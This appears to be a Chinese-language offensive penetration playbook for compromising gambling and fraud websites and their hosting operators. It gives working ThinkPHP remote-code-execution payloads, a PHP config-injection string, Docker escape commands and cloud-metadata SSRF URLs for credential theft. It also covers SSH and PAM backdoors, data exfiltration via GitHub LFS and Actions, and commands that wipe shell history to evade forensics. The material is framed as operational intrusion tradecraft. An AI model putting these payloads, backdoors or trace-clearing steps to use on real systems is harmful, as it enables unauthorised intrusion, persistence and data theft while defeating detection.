Skip to content

3. 渗透实战

3.1 黑盒快速打点思路

目标决策链: 目标是什么 → 打下包网(控制数据/维权/供应链/客户账密支付/控制台权限/获取源码/控运维修开发/控客服) → 是否往下控客户(f2a验证/ip白名单/登录ip/cookie/storage)

BC站点攻击面

目标 攻击手法
活动站 SQL注入(sqlmap改造指定库表去掉探测) / 备份文件 / 框架漏洞(RCE/反序列化/上传/任意文件读写) / 临时搭建(翻文件横向→MQ→钓鱼) / 收集域名资产扩展(多个包网分站公用活动站/包网相关域名)
客服站 XSS→钓鱼/electron RCE / 购入源码自行搭建→markdown标签 / 通过客服系统供应商获取测试站源码 / 找后台/扫目录 / 通过客服站资产归因包网资产(94chat) / 从客服获取信息获取站点更多信息
页面关联 JS / JS Console / 静态资源加载 / WSS (不太可靠)
包网运维 Jenkins / 各类国产OA管理软件 / MQ / 测试站弱口令→GETShell→横向/挂马钓鱼/拿源码/报错调试 / 收集后台接口(../../../) / 源码转售渠道(简单沟通/扫备份/黑盒/根据后台页面加载资源找更多页面特征→money.php/后台调试报错→特殊数据库表名文件名)
历史边缘资产 包网很难找 / bbscan找备份快速代码审计(备份只适用于本站→后台api后端文件名)
越权 垂直越权→更多接口权限 / 水平越权→全站 / 后台多个管理账号情况下有意义
四方支付/外接台子 Login Proxy(用户名变化/加载资产变换/新域名特征无法关联回源站) / 找框架/资产/漏洞

大型BC特点: 买BC牌照→正式化/公司化/规模化→Azure/云应用(难度大/时间成本高/长期坐牢打击积极性)

BC业务演进: 卖源码(老旧前端/后台代码被改/uniapp前端→雇私人开发) / 信用盘娱乐城(主要目标) / QB(试用期6个月→打穿长期驻留) / 区块链(web3/杀猪盘/btc赌局) / TG Bot / 微盘(精聊)

分工模式: 信息收集+黑盒+白盒+内网 → 攻击对(分工明确/企业雇员) vs 独立完成目标从头到尾 → 工具(burp/yakit/cpacha_killer_modify/burp TLS改指纹)

扫描器开发: 尽量不带攻击特征 / 发包内容无害化 / POC验证

CP站点攻击面

攻击点 手法
注入 投注环节SQL注入(接外部彩票接口/前后端加密) / 签到注入 / 轮盘活动 / orderby=rand(1=1)
客服站 邀请码 / 53 / meiqia
导航站 找关联资产
聊天室 XSS → WebSocket利用 → 找包网
图片站 找包网 / img.xxx.com → 管理系统
编辑器 任意文件上传 / XSS / UEditor(PHP→SSRF→内网存活端口/真实IP→DNS) / UEditor(.NET→上传)
报错信息 JSON闭合 / 变量名数组(word[]=xxx → Java/PHP/中间件→CF)
多端口 高端口开其他服务(真实IP/绑定不同域名) / nginx反带(80-30000+)
反序列化 CI框架 (CI反序列化参考) / gzip test.phar
国内主流域名 常见SRC / BC站ZP站(通过特征批量收集) / 爬虫做字典
演示站 打源码
数据脱取 adminer / 拖到服务器分片传输(web目录/GitHub LFS/Action)

ZP站点攻击面

攻击点 手法
本站快速打点 目录/端口/弱口令 / bbscan找备份快速代码审计 / 头像上传 / 语音朋友圈上传→钓鱼(SH) / 裸聊同城→做任务刷单
PHP 变量覆盖
路由 filter/WAF → 提出来扫一遍
漏洞点 配置文件(硬编码→Cookie伪造) / 危险函数(debug→黑百合) / 怎么触发需什么条件(路由/权限)
临时买服务器 RAM必须绑MFA (auth.ping8.top → 导出用户名:secret)

3.2 常见漏洞原理及利用工具与思路

漏洞利用方法论:

组件→源码(开源/备份/从客服获取信息/网盘泄露/多版本测试/商业版破解)→版本(更新时间/修复日志→绕过/影响范围/商业版差异)
→POC获取(GitHub/博客/源码分析/工具抓包)→原理(漏洞点/利用条件/后果/请求路由→二次开发)
→实战化改造(本地搭建/不出网/.NET Core内存马)

常用漏洞分类:

SQL注入

  • 不依赖sqlmap,自写脚本
  • 判断: 站库分离? / 写权限? / 命令执行?(Oracle 19c sys)
  • 不可破解→写入后台账密/配置参数/改写密钥(Bcrypt/文件类型)
  • 工具: ghauri

任意文件读取

  • 读敏感文件(.bash_history/.viminfo/源码/配置/日志/启动脚本)
  • 列目录? / Windows跨盘符?
  • /proc/net/ / /proc/self/ / /proc/pid/

任意文件上传

  • 目录返回? / 跨盘符? / 配合文件包含? / 上传OSS?

Docker逃逸

# 判断环境
.dockerenv | ls -alh /.dockerenv | cat /proc/1/cgroup | mount | grep docker | fdisk -l | ps -aux
# 特权模式检查
cat /proc/self/status | grep Cap  # 0000003fffffffff → 挂载宿主机
# Registry API未授权
https://github.com/Soufaker/docker_v2_catalog
# Remote API(2375)
docker -H tcp://<target>:2375 ps -a
# 工具
https://github.com/teamssix/container-escape-check
https://github.com/cdk-team/CDK

SSRF云元数据

  • 阿里云: http://100.100.100.200/latest/meta-data / /ram/security-credentials/
  • 腾讯云: http://metadata.tencentyun.com/latest/meta-data/
  • 华为云: ECS用户手册
  • OSS Browser / CF

PHP配置文件写入

  • '); phpinfo(); /*
  • 变量覆盖

单一登录口的攻击面挖掘(面试发散思维)

  • IP / 域名 / 谷歌搜索提及网站的历史文章(wayurl) / JS\目录\接口\参数爆破(arjun/hae)
  • 注入(.NET) / 注册 / GitHub找登录脚本 / 爆破JWT / help文档 / swagger-exp-knife4j

ThinkPHP漏洞速查

版本 漏洞 关键点
5.0.0-5.0.23 RCE(变量覆盖+代码执行) trace+强制路由: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id / debug+路由: _method=__construct&filter[]=system&get[]=id
5.0.0-5.0.23 任意类调用(反射) s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
6.0.1-6.0.13 多语言RCE(pearcmd) lang=../../../../../../usr/local/lib/php/pearcmd → 文件包含
3.2.* / 5.0.0-5.0.18 模板变量覆盖+文件包含 View::assign()配合图片马/日志
5.x Windows析构函数任意文件删除 think\process\pipes\Windows::__destruct
- 工具: thinkphp_gui_tools
- TP3/5区别: TP3目录大写开头 vs TP5/6小写;日志存放位置不同
- SQL注入: count/max未过滤→parseKey / _parseOptions直接拼接 / parseWhereItem(bind/between/eq) / parseData未过滤

SSH后门

  • tsh: 内网机器→外网连接,VPS不能断
  • PAM后门: 测试好版本,保持连接
  • sshdHooker

文件搜索

痕迹清除

  • ShadowlessFeet
  • unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
  • 修改文件时间
  • 内网探测逻辑: 内网严禁扫描 / 按照机器逻辑访问内网 / 根据内网连接探测内网
  • 脚本作业: 单线程 / 扫单个端口 / IP地址随机 / 扫描后有随机时延